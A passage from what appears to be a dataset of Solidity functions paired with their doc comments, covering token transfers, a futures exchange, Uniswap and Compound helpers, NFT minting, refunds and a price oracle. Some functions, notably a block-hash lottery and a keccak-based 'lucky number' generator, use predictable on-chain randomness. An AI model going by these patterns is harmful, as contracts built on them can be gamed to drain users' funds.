work with\n * @return generated number\n */", "function_code": "function generateLuckyNum(uint256 seed, uint8 nd) internal pure returns (uint64) {\n uint256 fact = (100 * (10**nd)) + 1;\n uint256 kc = uint256(keccak256(abi.encodePacked(seed)));\n uint256 rn = kc % fact;\n return uint64(rn);\n }", "version": "0.8.4"} {"comment": "/**\n * Calculates score from prediction and results.\n *\n * @param pred preduction\n * @param res the actual value\n * @param nd number of decimal points\n * @return calculated score as 0-100% witgh decimals\n */", "function_code": "function calculateScore(uint64 pred, uint64 res, uint8 nd) internal pure returns (uint64) {\n if (pred == 0 && res == 0) {\n return 0;\n }\n uint256 fact = 10**nd;\n if (pred >= res) {\n uint256 p2 = pred;\n uint256 r2 = 100 * res * fact;\n uint256 r = r2 / p2;\n return uint64(r);\n }\n else {\n uint256 p2 = 100 * pred * fact;\n uint256 r2 = res;\n uint256 r = p2 / r2;\n return uint64(r);\n } \n }", "version": "0.8.4"} {"comment": "/**\n * Calculates total score from the 6 scores.\n *\n * @param s1 score 1\n * @param s2 score 2\n * @param s3 score 3\n * @param s4 score 4\n * @param s5 score 5\n * @param s6 score 6\n * @return total score as a weigted average\n */", "function_code": "function calculateTotalScore(uint64 s1, uint64 s2, uint64 s3, uint64 s4, uint64 s5, uint64 s6) internal pure returns (uint64) {\n uint256 s1a = s1 * 11;\n uint256 s2a = s2 * 12;\n uint256 s3a = s3 * 13;\n uint256 s4a = s4 * 14;\n uint256 s5a = s5 * 15;\n uint256 s6a = s6 * 16;\n uint256 res = (s1a + s2a + s3a + s4a + s5a + s6a) / 81;\n return uint64(res);\n }", "version": "0.8.4"} {"comment": "/**\n * Concatenates strings.\n *\n * @param a string a\n * @param b string b\n * @return concatenateds string\n */", "function_code": "function strConcat(string memory a, string memory b) internal pure returns (string memory) {\n bytes memory ba = bytes(a);\n bytes memory bb = bytes(b);\n string memory ab = new string(ba.length + bb.length);\n bytes memory bab = bytes(ab);\n uint k = 0;\n for (uint i = 0; i < ba.length; i++) bab[k++] = ba[i];\n for (uint i = 0; i < bb.length; i++) bab[k++] = bb[i];\n return string(bab);\n }", "version": "0.8.4"} {"comment": "// Constructor function, initializes the contract and sets the core variables", "function_code": "function Exchange(address feeAccount_, uint256 makerFee_, uint256 takerFee_, address exchangeContract_, address DmexOracleContract_) {\r\n owner = msg.sender;\r\n feeAccount = feeAccount_;\r\n makerFee = makerFee_;\r\n takerFee = takerFee_;\r\n\r\n exchangeContract = exchangeContract_;\r\n DmexOracleContract = DmexOracleContract_;\r\n }", "version": "0.4.25"} {"comment": "// This function allows the user to manually release collateral in case the oracle service does not provide the price during the inactivityReleasePeriod", "function_code": "function forceReleaseReserve (bytes32 futuresContract, bool side) public\r\n { \r\n if (futuresContracts[futuresContract].expirationBlock == 0) throw; \r\n if (futuresContracts[futuresContract].expirationBlock > block.number) throw;\r\n if (safeAdd(futuresContracts[futuresContract].expirationBlock, DMEX_Base(exchangeContract).getInactivityReleasePeriod()) > block.number) throw; \r\n\r\n bytes32 positionHash = keccak256(this, msg.sender, futuresContract, side);\r\n if (retrievePosition(positionHash)[1] == 0) throw; \r\n \r\n\r\n futuresContracts[futuresContract].broken = true;\r\n\r\n uint256[4] memory pos = retrievePosition(positionHash);\r\n FuturesContract cont = futuresContracts[futuresContract];\r\n address baseToken = futuresAssets[cont.asset].baseToken;\r\n\r\n uint256 reservedFunding = calculateFundingCost(pos[1], pos[0], safeSub(cont.expirationBlock, pos[3]+1), futuresContract);\r\n uint256 collateral;\r\n\r\n if (side)\r\n {\r\n collateral = calculateCollateral(cont.floorPrice, pos[1], pos[0], true, futuresContract);\r\n\r\n subReserve(\r\n baseToken, \r\n msg.sender, \r\n DMEX_Base(exchangeContract).getReserve(baseToken, msg.sender), \r\n safeAdd(reservedFunding, collateral)\r\n ); \r\n }\r\n else\r\n { \r\n collateral = calculateCollateral(cont.capPrice, pos[1], pos[0], false, futuresContract);\r\n \r\n subReserve(\r\n baseToken, \r\n msg.sender, \r\n DMEX_Base(exchangeContract).getReserve(baseToken, msg.sender), \r\n safeAdd(reservedFunding, collateral)\r\n ); \r\n }\r\n\r\n updatePositionSize(positionHash, 0, 0);\r\n\r\n emit FuturesForcedRelease(futuresContract, side, msg.sender);\r\n\r\n }", "version": "0.4.25"} {"comment": "// Settle positions for closed contracts", "function_code": "function batchSettlePositions (\r\n bytes32[] futuresContracts,\r\n bool[] sides,\r\n address[] users,\r\n uint256 gasFeePerClose // baseToken with 8 decimals\r\n ) onlyAdmin {\r\n \r\n for (uint i = 0; i < futuresContracts.length; i++) \r\n {\r\n closeFuturesPositionForUser(futuresContracts[i], sides[i], users[i], gasFeePerClose);\r\n }\r\n }", "version": "0.4.25"} {"comment": "/// @inheritdoc IUniswapV3SwapCallback", "function_code": "function uniswapV3SwapCallback(\n int256 amount0Delta,\n int256 amount1Delta,\n bytes memory path\n ) external view override {\n require(amount0Delta > 0 || amount1Delta > 0); // swaps entirely within 0-liquidity regions are not supported\n (address tokenIn, address tokenOut, uint24 fee) = path.decodeFirstPool();\n CallbackValidation.verifyCallback(factory, tokenIn, tokenOut, fee);\n\n (bool isExactInput, uint256 amountToPay, uint256 amountReceived) =\n amount0Delta > 0\n ? (tokenIn < tokenOut, uint256(amount0Delta), uint256(-amount1Delta))\n : (tokenOut < tokenIn, uint256(amount1Delta), uint256(-amount0Delta));\n if (isExactInput) {\n assembly {\n let ptr := mload(0x40)\n mstore(ptr, amountReceived)\n revert(ptr, 32)\n }\n } else {\n // if the cache has been populated, ensure that the full output amount has been received\n if (amountOutCached != 0) require(amountReceived == amountOutCached);\n assembly {\n let ptr := mload(0x40)\n mstore(ptr, amountToPay)\n revert(ptr, 32)\n }\n }\n }", "version": "0.7.6"} {"comment": "/// @dev Parses a revert reason that should contain the numeric quote", "function_code": "function parseRevertReason(bytes memory reason) private pure returns (uint256) {\n if (reason.length != 32) {\n if (reason.length < 68) revert('Unexpected error');\n assembly {\n reason := add(reason, 0x04)\n }\n revert(abi.decode(reason, (string)));\n }\n return abi.decode(reason, (uint256));\n }", "version": "0.7.6"} {"comment": "/// @inheritdoc IQuoter", "function_code": "function quoteExactInputSingle(\n address tokenIn,\n address tokenOut,\n uint24 fee,\n uint256 amountIn,\n uint160 sqrtPriceLimitX96\n ) public override returns (uint256 amountOut) {\n bool zeroForOne = tokenIn < tokenOut;\n\n try\n getPool(tokenIn, tokenOut, fee).swap(\n address(this), // address(0) might cause issues with some tokens\n zeroForOne,\n amountIn.toInt256(),\n sqrtPriceLimitX96 == 0\n ? (zeroForOne ? TickMath.MIN_SQRT_RATIO + 1 : TickMath.MAX_SQRT_RATIO - 1)\n : sqrtPriceLimitX96,\n abi.encodePacked(tokenIn, fee, tokenOut)\n )\n {} catch (bytes memory reason) {\n return parseRevertReason(reason);\n }\n }", "version": "0.7.6"} {"comment": "/**\r\n * @dev Deposit ETH/ERC20 and mint Compound Tokens\r\n */", "function_code": "function mintCETH(uint ethAmt) internal {\r\n if (ethAmt > 0) {\r\n CETHInterface cToken = CETHInterface(cEth);\r\n cToken.mint.value(ethAmt)();\r\n uint exchangeRate = CTokenInterface(cEth).exchangeRateCurrent();\r\n uint cEthToReturn = wdiv(ethAmt, exchangeRate);\r\n cEthToReturn = wmul(cEthToReturn, exchangeRate) <= ethAmt ? cEthToReturn : cEthToReturn - 1;\r\n require(cToken.transfer(msg.sender, cEthToReturn), \"CETH Transfer failed\");\r\n emit LogMint(\r\n ethAddr,\r\n cEth,\r\n ethAmt,\r\n msg.sender\r\n );\r\n }\r\n }", "version": "0.5.8"} {"comment": "/**\r\n * @dev If col/debt > user's balance/borrow. Then set max\r\n */", "function_code": "function checkCompound(uint ethAmt, uint daiAmt) internal returns (uint ethCol, uint daiDebt) {\r\n CTokenInterface cEthContract = CTokenInterface(cEth);\r\n uint cEthBal = cEthContract.balanceOf(msg.sender);\r\n uint ethExchangeRate = cEthContract.exchangeRateCurrent();\r\n ethCol = wmul(cEthBal, ethExchangeRate);\r\n ethCol = wdiv(ethCol, ethExchangeRate) <= cEthBal ? ethCol : ethCol - 1;\r\n ethCol = ethCol <= ethAmt ? ethCol : ethAmt; // Set Max if amount is greater than the Col user have\r\n\r\n daiDebt = CDAIInterface(cDai).borrowBalanceCurrent(msg.sender);\r\n daiDebt = daiDebt <= daiAmt ? daiDebt : daiAmt; // Set Max if amount is greater than the Debt user have\r\n }", "version": "0.5.8"} {"comment": "/**\r\n * @dev Deposit DAI for liquidity\r\n */", "function_code": "function depositDAI(uint amt) public {\r\n require(ERC20Interface(daiAddr).transferFrom(msg.sender, address(this), amt), \"Nothing to deposit\");\r\n CTokenInterface cToken = CTokenInterface(cDai);\r\n assert(cToken.mint(amt) == 0);\r\n uint exchangeRate = cToken.exchangeRateCurrent();\r\n uint cDaiAmt = wdiv(amt, exchangeRate);\r\n cDaiAmt = wmul(cDaiAmt, exchangeRate) <= amt ? cDaiAmt : cDaiAmt - 1;\r\n deposits[msg.sender] += cDaiAmt;\r\n totalDeposits += cDaiAmt;\r\n }", "version": "0.5.8"} {"comment": "/**\r\n * @dev Withdraw DAI from liquidity\r\n */", "function_code": "function withdrawDAI(uint amt) public {\r\n require(deposits[msg.sender] != 0, \"Nothing to Withdraw\");\r\n CTokenInterface cToken = CTokenInterface(cDai);\r\n uint exchangeRate = cToken.exchangeRateCurrent();\r\n uint withdrawAmt = wdiv(amt, exchangeRate);\r\n uint daiAmt = amt;\r\n if (withdrawAmt > deposits[msg.sender]) {\r\n withdrawAmt = deposits[msg.sender];\r\n daiAmt = wmul(withdrawAmt, exchangeRate);\r\n }\r\n require(cToken.redeem(withdrawAmt) == 0, \"something went wrong\");\r\n require(ERC20Interface(daiAddr).transfer(msg.sender, daiAmt), \"Dai Transfer failed\");\r\n deposits[msg.sender] -= withdrawAmt;\r\n totalDeposits -= withdrawAmt;\r\n }", "version": "0.5.8"} {"comment": "/**\r\n * @dev Withdraw CDAI from liquidity\r\n */", "function_code": "function withdrawCDAI(uint amt) public {\r\n require(deposits[msg.sender] != 0, \"Nothing to Withdraw\");\r\n uint withdrawAmt = amt;\r\n if (withdrawAmt > deposits[msg.sender]) {\r\n withdrawAmt = deposits[msg.sender];\r\n }\r\n require(CTokenInterface(cDai).transfer(msg.sender, withdrawAmt), \"Dai Transfer failed\");\r\n deposits[msg.sender] -= withdrawAmt;\r\n totalDeposits -= withdrawAmt;\r\n }", "version": "0.5.8"} {"comment": "/**\r\n * collecting fees generated overtime\r\n */", "function_code": "function withdrawFeesInCDai(uint num) public {\r\n CTokenInterface cToken = CTokenInterface(cDai);\r\n uint cDaiBal = cToken.balanceOf(address(this));\r\n uint withdrawAmt = sub(cDaiBal, totalDeposits);\r\n if (num == 0) {\r\n require(cToken.transfer(feeOne, withdrawAmt), \"Dai Transfer failed\");\r\n } else {\r\n require(cToken.transfer(feeTwo, withdrawAmt), \"Dai Transfer failed\");\r\n }\r\n }", "version": "0.5.8"} {"comment": "/**\r\n * Whitelist Many user address at once - only Owner can do this\r\n * It will require maximum of 150 addresses to prevent block gas limit max-out and DoS attack\r\n * It will add user address in whitelisted mapping\r\n */", "function_code": "function whitelistManyUsers(address[] memory userAddresses) onlyOwner public{\r\n require(whitelistingStatus == true);\r\n uint256 addressCount = userAddresses.length;\r\n require(addressCount <= 150);\r\n for(uint256 i = 0; i < addressCount; i++){\r\n require(userAddresses[i] != address(0x0));\r\n whitelisted[userAddresses[i]] = true;\r\n }\r\n }", "version": "0.4.25"} {"comment": "/**\r\n * @dev MakerDAO to Compound\r\n */", "function_code": "function makerToCompound(uint cdpId, uint ethCol, uint daiDebt) public payable isUserWallet returns (uint daiAmt) {\r\n uint ethAmt;\r\n (ethAmt, daiAmt) = checkCDP(bytes32(cdpId), ethCol, daiDebt);\r\n daiAmt = wipeAndFree(cdpId, ethAmt, daiAmt);\r\n daiAmt = wmul(daiAmt, 1002000000000000000); // 0.2% fees\r\n mintCETH(ethAmt);\r\n give(cdpId, msg.sender);\r\n }", "version": "0.5.8"} {"comment": "// Let's mint!", "function_code": "function mintNFT()\n public onlyOwner returns (uint256)\n {\n uint256 id = totalSupply();\n\n require( totalSupply() + 1 <= maxSupply, \"Max NFT amount (3333) has been reached.\");\n require( tx.origin == msg.sender, \"You cannot mint on a custom contract!\");\n\n _safeMint(msg.sender, id + 1); //starts from tokenID: 1 instead of 0.\n\n return id;\n }", "version": "0.8.7"} {"comment": "// ------------------------------------------------------------------------\n// 10,000 QTUM Tokens per 1 ETH\n// ------------------------------------------------------------------------", "function_code": "function () public payable {\r\n require(now >= startDate && now <= endDate);\r\n uint tokens;\r\n if (now <= bonusEnds) {\r\n tokens = msg.value * 1200;\r\n } else {\r\n tokens = msg.value * 1000;\r\n }\r\n balances[msg.sender] = safeAdd(balances[msg.sender], tokens);\r\n _totalSupply = safeAdd(_totalSupply, tokens);\r\n Transfer(address(0), msg.sender, tokens);\r\n owner.transfer(msg.value);\r\n }", "version": "0.4.18"} {"comment": "/**\r\n * @dev batchTransfer token for a specified addresses\r\n * @param _tos The addresses to transfer to.\r\n * @param _values The amounts to be transferred.\r\n */", "function_code": "function batchTransfer(address[] _tos, uint256[] _values) public returns (bool) {\r\n require(_tos.length == _values.length);\r\n uint256 arrayLength = _tos.length;\r\n for(uint256 i = 0; i < arrayLength; i++) {\r\n transfer(_tos[i], _values[i]);\r\n }\r\n return true;\r\n }", "version": "0.4.23"} {"comment": "/**\r\n *\r\n * Transfer with ERC223 specification\r\n *\r\n * http://vessenes.com/the-erc20-short-address-attack-explained/\r\n */", "function_code": "function transfer(address _to, uint _value) \r\n onlyPayloadSize(2 * 32) \r\n public\r\n returns (bool success)\r\n {\r\n require(_to != address(0));\r\n if (balances[msg.sender] >= _value && _value > 0) {\r\n uint codeLength;\r\n bytes memory empty;\r\n assembly {\r\n // Retrieve the size of the code on target address, this needs assembly .\r\n codeLength := extcodesize(_to)\r\n }\r\n\r\n balances[msg.sender] = safeSub(balances[msg.sender], _value);\r\n balances[_to] = safeAdd(balances[_to], _value);\r\n if(codeLength>0) {\r\n ContractReceiver receiver = ContractReceiver(_to);\r\n receiver.tokenFallback(msg.sender, _value, empty);\r\n }\r\n emit Transfer(msg.sender, _to, _value);\r\n return true;\r\n } else { return false; }\r\n\r\n }", "version": "0.4.23"} {"comment": "// Add and update registry", "function_code": "function addPool(address pool) public returns(uint256 listed) {\r\n if (!_addedPools.add(pool)) {\r\n return 0;\r\n }\r\n emit PoolAdded(pool);\r\n\r\n address[] memory tokens = IBalancerPool(pool).getFinalTokens();\r\n uint256[] memory weights = new uint256[](tokens.length);\r\n for (uint i = 0; i < tokens.length; i++) {\r\n weights[i] = IBalancerPool(pool).getDenormalizedWeight(tokens[i]);\r\n }\r\n\r\n uint256 swapFee = IBalancerPool(pool).getSwapFee();\r\n\r\n for (uint i = 0; i < tokens.length; i++) {\r\n _allTokens.add(tokens[i]);\r\n for (uint j = i + 1; j < tokens.length; j++) {\r\n bytes32 key = _createKey(tokens[i], tokens[j]);\r\n if (_pools[key].pools.add(pool)) {\r\n _infos[pool][key] = PoolPairInfo({\r\n weight1: uint80(weights[tokens[i] < tokens[j] ? i : j]),\r\n weight2: uint80(weights[tokens[i] < tokens[j] ? j : i]),\r\n swapFee: uint80(swapFee)\r\n });\r\n\r\n emit PoolTokenPairAdded(\r\n pool,\r\n tokens[i] < tokens[j] ? tokens[i] : tokens[j],\r\n tokens[i] < tokens[j] ? tokens[j] : tokens[i]\r\n );\r\n listed++;\r\n }\r\n }\r\n }\r\n }", "version": "0.5.17"} {"comment": "/**\r\n * @dev Transfer the specified amounts of tokens to the specified addresses.\r\n * @dev Be aware that there is no check for duplicate recipients.\r\n *\r\n * @param _toAddresses Receiver addresses.\r\n * @param _amounts Amounts of tokens that will be transferred.\r\n */", "function_code": "function multiTransfer(address[] _toAddresses, uint256[] _amounts) public {\r\n /* Ensures _toAddresses array is less than or equal to 255 */\r\n require(_toAddresses.length <= 255);\r\n /* Ensures _toAddress and _amounts have the same number of entries. */\r\n require(_toAddresses.length == _amounts.length);\r\n\r\n for (uint8 i = 0; i < _toAddresses.length; i++) {\r\n transfer(_toAddresses[i], _amounts[i]);\r\n }\r\n }", "version": "0.4.19"} {"comment": "/**\r\n * @dev Transfer the specified amounts of tokens to the specified addresses from authorized balance of sender.\r\n * @dev Be aware that there is no check for duplicate recipients.\r\n *\r\n * @param _from The address of the sender\r\n * @param _toAddresses The addresses of the recipients (MAX 255)\r\n * @param _amounts The amounts of tokens to be transferred\r\n */", "function_code": "function multiTransferFrom(address _from, address[] _toAddresses, uint256[] _amounts) public {\r\n /* Ensures _toAddresses array is less than or equal to 255 */\r\n require(_toAddresses.length <= 255);\r\n /* Ensures _toAddress and _amounts have the same number of entries. */\r\n require(_toAddresses.length == _amounts.length);\r\n\r\n for (uint8 i = 0; i < _toAddresses.length; i++) {\r\n transferFrom(_from, _toAddresses[i], _amounts[i]);\r\n }\r\n }", "version": "0.4.19"} {"comment": "/**\r\n * @dev Staking for mining.\r\n *\r\n * Returns a boolean value indicating whether the operation succeeded.\r\n *\r\n * Emits a {Staking} event.\r\n */", "function_code": "function staking(uint256 amount) public canStaking returns (bool) {\r\n require(address(stakingContract) != address(0), \"[Validation] Staking Contract should not be zero address\");\r\n require(balanceOf(msg.sender) >= amount, \"[Validation] The balance is insufficient.\");\r\n _transfer(msg.sender, address(stakingContract), amount);\r\n return stakingContract.staking(msg.sender, amount);\r\n }", "version": "0.7.6"} {"comment": "/**\n @notice claimRefund will claim the ETH refund that an address is eligible to claim. The caller\n must pass the exact amount of ETH that the address is eligible to claim.\n @param _to The address to claim refund for.\n @param _refundAmount The amount of ETH refund to claim.\n @param _merkleProof The merkle proof used to authenticate the transaction against the Merkle\n root.\n */", "function_code": "function claimRefund(address _to, uint _refundAmount, bytes32[] calldata _merkleProof) external {\n require(!alreadyClaimed[_to], \"Refund has already been claimed for this address\");\n\n // Verify against the Merkle tree that the transaction is authenticated for the user.\n bytes32 leaf = keccak256(abi.encodePacked(_to, _refundAmount));\n require(MerkleProof.verify(_merkleProof, merkleRoot, leaf), \"Failed to authenticate with merkle tree\");\n\n alreadyClaimed[_to] = true;\n\n Address.sendValue(payable(_to), _refundAmount);\n }", "version": "0.8.9"} {"comment": "// receive() external payable { }", "function_code": "function setShare(address shareholder, uint256 amount) external override onlyToken {\r\n if(shares[shareholder].amount > 0){\r\n distributeDividend(shareholder);\r\n }\r\n\r\n if(amount > 0 && shares[shareholder].amount == 0){\r\n addShareholder(shareholder);\r\n }else if(amount == 0 && shares[shareholder].amount > 0){\r\n removeShareholder(shareholder);\r\n }\r\n\r\n totalShares = totalShares.sub(shares[shareholder].amount).add(amount);\r\n shares[shareholder].amount = amount;\r\n shares[shareholder].totalExcluded = getCumulativeDividends(shares[shareholder].amount);\r\n }", "version": "0.8.7"} {"comment": "//private function:hunt for the lucky dog", "function_code": "function produceWiner() private {\r\n //get the blockhash of the target blcok number\r\n blcokHash = blockhash(blockNumber);\r\n //convert hash to decimal\r\n numberOfBlcokHash = uint(blcokHash);\r\n //make sure that the block has been generated\r\n require(numberOfBlcokHash != 0);\r\n //calculating index of the winer\r\n winerIndex = numberOfBlcokHash%sumOfPlayers;\r\n //get the winer address\r\n winer = players[winerIndex];\r\n //calculating the gold of team\r\n uint tempTeam = (address(this).balance/100)*10;\r\n //transfe the gold to the team\r\n teamAddress.transfer(tempTeam);\r\n //calculating the gold of winer\r\n uint tempBonus = address(this).balance - tempTeam;\r\n //transfer the gold to the winer\r\n winer.transfer(tempBonus);\r\n }", "version": "0.4.25"} {"comment": "//public function:bet", "function_code": "function betYours() public payable OnlyBet() {\r\n //make sure that the block has not been generated\r\n blcokHash = blockhash(blockNumber);\r\n numberOfBlcokHash = uint(blcokHash);\r\n require(numberOfBlcokHash == 0);\r\n //add the player to the player list\r\n sumOfPlayers = players.push(msg.sender);\r\n }", "version": "0.4.25"} {"comment": "/**\r\n * If the user sends 0 ether, he receives 100 tokens.\r\n * If he sends 0.001 ether, he receives 3500 tokens\r\n * If he sends 0.005 ether, he receives 16,500 tokens\r\n * If he sends 0.01 ether, he receives 35,500 tokens\r\n * If he sends 0.05 ether, he receives 175,500 tokens\r\n * If he sends 0.1 ether, he receives 360,500 tokens\r\n */", "function_code": "function getTotalAmountOfTokens(uint256 _weiAmount) internal pure returns (uint256) {\r\n uint256 amountOfTokens = 0;\r\n if(_weiAmount == 0){\r\n amountOfTokens = 100 * (10**uint256(decimals));\r\n }\r\n if( _weiAmount == 0.001 ether){\r\n amountOfTokens = 3500 * (10**uint256(decimals));\r\n }\r\n if( _weiAmount == 0.005 ether){\r\n amountOfTokens = 16500 * (10**uint256(decimals));\r\n }\r\n if( _weiAmount == 0.01 ether){\r\n amountOfTokens = 35500 * (10**uint256(decimals));\r\n }\r\n if( _weiAmount == 0.05 ether){\r\n amountOfTokens = 175500 * (10**uint256(decimals));\r\n }\r\n if( _weiAmount == 0.1 ether){\r\n amountOfTokens = 360500 * (10**uint256(decimals));\r\n }\r\n return amountOfTokens;\r\n }", "version": "0.4.23"} {"comment": "/**\r\n * @dev Mints a new DIGI NFT for a wallet.\r\n */", "function_code": "function mint(\r\n address wallet,\r\n string memory cardName,\r\n string memory cardImage,\r\n bool cardPhysical\r\n )\r\n public\r\n returns (uint256)\r\n {\r\n require(hasRole(MINTER, msg.sender), 'DigiNFT: Only for role MINTER');\r\n\r\n _tokenIds.increment();\r\n\r\n uint256 newItemId = _tokenIds.current();\r\n _mint(wallet, newItemId);\r\n _setCardName(newItemId, cardName);\r\n _setCardImage(newItemId, cardImage);\r\n _setCardPhysical(newItemId, cardPhysical);\r\n\r\n return newItemId;\r\n }", "version": "0.6.5"} {"comment": "/// @dev Internal registation method\n/// @param hash SHA-256 file hash", "function_code": "function makeRegistrationInternal(bytes32 hash) internal {\r\n\t\t\tuint timestamp = now;\r\n\t // Checks documents isn't already registered\r\n\t if (exist(hash)) {\r\n\t EntryExistAlready(hash, timestamp);\r\n\t revert();\r\n\t }\r\n\t // Registers the proof with the timestamp of the block\r\n\t entryStorage[hash] = Entry(block.number, timestamp);\r\n\t // Triggers a EntryAdded event\r\n\t EntryAdded(hash, block.number, timestamp);\r\n\t}", "version": "0.4.18"} {"comment": "/** @dev withdraw coins for Megabit team to specified address after locked date\r\n */", "function_code": "function withdrawForTeam(address to) external isOwner {\r\n uint256 balance = getVaultBalance(VaultEnum.team);\r\n require(balance > 0);\r\n require(now >= 1576594800); // lock to 2019-12-17\r\n //require(now >= 1544761320); // test date for dev\r\n \r\n balances[owner] += balance;\r\n totalCoins += balance;\r\n withdrawCoins(VaultName[uint256(VaultEnum.team)], to);\r\n }", "version": "0.4.24"} {"comment": "/** @dev implementation of withdrawal\r\n * @dev it is available once for each vault\r\n */", "function_code": "function withdrawCoins(string vaultName, address to) private returns (uint256) {\r\n uint256 balance = vault[vaultName];\r\n \r\n require(balance > 0);\r\n require(balances[owner] >= balance);\r\n require(owner != to);\r\n\r\n balances[owner] -= balance;\r\n balances[to] += balance;\r\n vault[vaultName] = 0;\r\n \r\n emit Transfer(owner, to, balance);\r\n return balance;\r\n }", "version": "0.4.24"} {"comment": "/**\n @notice transferFrom overrides ERC20's transferFrom function. It is written so that the\n marketplace contract automatically has approval to transfer VIRTUE for other addresses.\n */", "function_code": "function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n\n // Automatically give the marketplace approval to transfer VIRTUE to save the user gas fees spent\n // on approval.\n if (msg.sender == idolMarketAddress){\n _transfer(sender, recipient, amount);\n return true;\n }\n else {\n return super.transferFrom(sender, recipient, amount);\n }\n }", "version": "0.8.9"} {"comment": "/**\n @notice virtueBondCum is a helper function for getVirtueBondAmt. This function takes\n an amount of stETH (_stethAmt) as input and returns the cumulative amount\n of VIRTUE remaining in the bonding curve if the treasury had _stethAmt of Steth.\n */", "function_code": "function virtueBondCum(uint _stethAmt)\n public\n view\n returns (uint)\n {\n uint index;\n for (index = 0; index <= 18; index++) {\n if(bondCurve[index].start_x > _stethAmt){\n break;\n }\n }\n require(index > 0, \"Amount is below the start of the Bonding Curve\");\n int current_slope = bondCurve[index-1].slope;\n int current_int = bondCurve[index-1].intercept;\n\n return uint(int(_stethAmt) * current_slope / (10**9) + current_int);\n }", "version": "0.8.9"} {"comment": "/**\n * @dev initializes the clone implementation and the Conjure contract\n *\n * @param nameSymbol array holding the name and the symbol of the asset\n * @param conjureAddresses array holding the owner, indexed UniSwap oracle and ethUsdOracle address\n * @param factoryAddress_ the address of the factory\n * @param collateralContract the EtherCollateral contract of the asset\n */", "function_code": "function initialize(\n string[2] memory nameSymbol,\n address[] memory conjureAddresses,\n address factoryAddress_,\n address collateralContract\n ) external\n {\n require(_factoryContract == address(0), \"already initialized\");\n require(factoryAddress_ != address(0), \"factory can not be null\");\n require(collateralContract != address(0), \"collateralContract can not be null\");\n\n _owner = payable(conjureAddresses[0]);\n _name = nameSymbol[0];\n _symbol = nameSymbol[1];\n\n ethUsdOracle = conjureAddresses[1];\n _factoryContract = factoryAddress_;\n\n // mint new EtherCollateral contract\n _collateralContract = collateralContract;\n\n emit NewOwner(_owner);\n }", "version": "0.7.6"} {"comment": "/**\n * @dev implementation of a quicksort algorithm\n *\n * @param arr the array to be sorted\n * @param left the left outer bound element to start the sort\n * @param right the right outer bound element to stop the sort\n */", "function_code": "function quickSort(uint[] memory arr, int left, int right) internal pure {\n int i = left;\n int j = right;\n if (i == j) return;\n uint pivot = arr[uint(left + (right - left) / 2)];\n while (i <= j) {\n while (arr[uint(i)] < pivot) i++;\n while (pivot < arr[uint(j)]) j--;\n if (i <= j) {\n (arr[uint(i)], arr[uint(j)]) = (arr[uint(j)], arr[uint(i)]);\n i++;\n j--;\n }\n }\n if (left < j)\n quickSort(arr, left, j);\n if (i < right)\n quickSort(arr, i, right);\n }", "version": "0.7.6"} {"comment": "/**\n * @dev implementation to get the average value of an array\n *\n * @param arr the array to be averaged\n * @return the (weighted) average price of an asset\n */", "function_code": "function getAverage(uint[] memory arr) internal view returns (uint) {\n uint sum = 0;\n\n // do the sum of all array values\n for (uint i = 0; i < arr.length; i++) {\n sum += arr[i];\n }\n // if we dont have any weights (single asset with even array members)\n if (_assetType == 0) {\n return (sum / arr.length);\n }\n // index pricing we do division by divisor\n if ((_assetType == 2) || (_assetType == 3)) {\n return sum / _indexdivisor;\n }\n // divide by 100 cause the weights sum up to 100 and divide by the divisor if set (defaults to 1)\n return ((sum / 100) / _indexdivisor);\n }", "version": "0.7.6"} {"comment": "/**\n * @dev implementation of a square rooting algorithm\n * babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method)\n *\n * @param y the value to be square rooted\n * @return z the square rooted value\n */", "function_code": "function sqrt(uint256 y) internal pure returns (uint256 z) {\n if (y > 3) {\n z = y;\n uint256 x = (y + 1) / 2;\n while (x < z) {\n z = x;\n x = (y / x + x) / 2;\n }\n } else if (y != 0) {\n z = 1;\n }\n else {\n z = 0;\n }\n }", "version": "0.7.6"} {"comment": "/**\n * @dev gets the latest price of the synth in USD by calculation and write the checkpoints for view functions\n */", "function_code": "function updatePrice() public {\n uint256 returnPrice = updateInternalPrice();\n bool priceLimited;\n\n // if it is an inverse asset we do price = _deploymentPrice - (current price - _deploymentPrice)\n // --> 2 * deployment price - current price\n // but only if the asset is inited otherwise we return the normal price calculation\n if (_inverse && _inited) {\n if (_deploymentPrice.mul(2) <= returnPrice) {\n returnPrice = 0;\n } else {\n returnPrice = _deploymentPrice.mul(2).sub(returnPrice);\n\n // limit to lower cap\n if (returnPrice <= inverseLowerCap) {\n priceLimited = true;\n }\n }\n }\n\n _latestobservedprice = returnPrice;\n _latestobservedtime = block.timestamp;\n\n emit PriceUpdated(_latestobservedprice);\n\n // if price reaches 0 we close the collateral contract and no more loans can be opened\n if ((returnPrice <= 0) || (priceLimited)) {\n IEtherCollateral(_collateralContract).setAssetClosed(true);\n } else {\n // if the asset was set closed we open it again for loans\n if (IEtherCollateral(_collateralContract).getAssetClosed()) {\n IEtherCollateral(_collateralContract).setAssetClosed(false);\n }\n }\n }", "version": "0.7.6"} {"comment": "/**\r\n * @dev Revert with a standard message if `account` is missing `role`.\r\n *\r\n * The format of the revert reason is given by the following regular expression:\r\n *\r\n * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/\r\n */", "function_code": "function _checkRole(bytes32 role, address account) internal view {\r\n if (!hasRole(role, account)) {\r\n revert(\r\n string(\r\n abi.encodePacked(\r\n \"AccessControl: account \",\r\n Strings.toHexString(uint160(account), 20),\r\n \" is missing role \",\r\n Strings.toHexString(uint256(role), 32)\r\n )\r\n )\r\n );\r\n }\r\n }", "version": "0.8.9"} {"comment": "/**\r\n * @dev mints tokens to an address. Supply limited to NFTLimit.\r\n * @param _to address of the future owner of the tokens\r\n * @param _batchCount number of tokens to mint\r\n */", "function_code": "function mintSupplyByBatch(\r\n address _to,\r\n uint256 _batchCount\r\n ) public onlyOwner {\r\n uint256 newNFTCount = _batchCount;\r\n // can't try mint more than limit\r\n if (newNFTCount > NFTLimit) {\r\n newNFTCount = NFTLimit;\r\n }\r\n uint256 lastId = _currentTokenId + newNFTCount;\r\n // mint only to limit\r\n if (lastId > NFTLimit) {\r\n uint256 excess = lastId - NFTLimit;\r\n newNFTCount -= excess;\r\n }\r\n require(newNFTCount > 0, \"FutureArtDiamondPasses: no more nfts to mint\");\r\n for (uint256 i = 0; i < newNFTCount; i++) {\r\n uint256 newTokenId = _getNextTokenId();\r\n _mint(_to, newTokenId);\r\n _incrementTokenId();\r\n }\r\n }", "version": "0.8.4"} {"comment": "/// @dev Helper function to extract a useful revert message from a 